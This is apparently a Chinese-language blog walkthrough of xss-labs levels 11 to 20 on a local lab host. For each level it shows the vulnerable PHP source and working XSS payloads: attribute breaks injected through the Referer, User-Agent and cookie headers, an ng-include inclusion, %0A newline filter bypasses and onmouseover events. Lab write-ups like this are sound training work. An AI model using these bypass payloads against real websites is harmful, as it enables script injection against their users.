                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_ref"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd    

    //发现没有闭合掉,但是t_ref里面有值
    192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_ref(referer)里面的值替换成    '" type='text' onclick='alert(123)'

Less12:User Agent注入

复制代码
Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good


查看源码
   <?php 
            ini_set("display_errors", 0);
            $str = $_GET["keyword"];
            $str00 = $_GET["t_sort"];
            $str11=$_SERVER['HTTP_USER_AGENT'];
            $str22=str_replace(">","",$str11);
            $str33=str_replace("<","",$str22);
            echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_ua"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd    

    //发现没有闭合掉,但是t_ua里面有值
    192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成    '" type='text' onclick='alert(123)'

Less13:cookie注入

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level13.php?keyword=good


查看源码
   <?php 
        setcookie("user", "call me maybe?", time()+3600);
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str00 = $_GET["t_sort"];
        $str11=$_COOKIE["user"];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_cook"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd    

    //发现没有闭合掉,但是t_cook里面有值
    192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_cook(cookie)里面的值替换成    '" type='text' onclick='alert(123)'

Less14:题有问题

这一关题有问题直接十五关

复制代码
Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good


查看源码


确认输出

Less15:ng-include文件包涵

AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面)

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level15.php?src=jaden


查看源码


确认输出
    192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'

Less16:url编码-标签绕过 换行符替换空格绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level16.php?src=jaden


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","&nbsp;",$str);
        $str3=str_replace(" ","&nbsp;",$str2);
        $str4=str_replace("/","&nbsp;",$str3);
        $str5=str_replace("	","&nbsp;",$str4);
        echo "<center>".$str5."</center>";
    ?>
    <center><img src=level16.png></center>
    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
    ?>


确认输出
    //img有输出但是空格被编码了
    192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/'

    //将空格的编码替换成回车的编码进行尝试%0A回车符号
    192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

Less17_18:embed标签-鼠标事件闭合绕过

embed标签:定义了一个区域,可以放图片、视频、音频等内容

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b


查看源码


确认输出
    //发现以src的属性值进行了输出
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden

    //用onmouseover鼠标事件
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden")

    //用onmouseover鼠标事件
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")

Less19_20:过时

javascript 复制代码
flash插件技术比较老了,已经全面停用了禁用了,就不做了
相关推荐
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954486 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher8 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行11 天前
网络安全总结
安全·web安全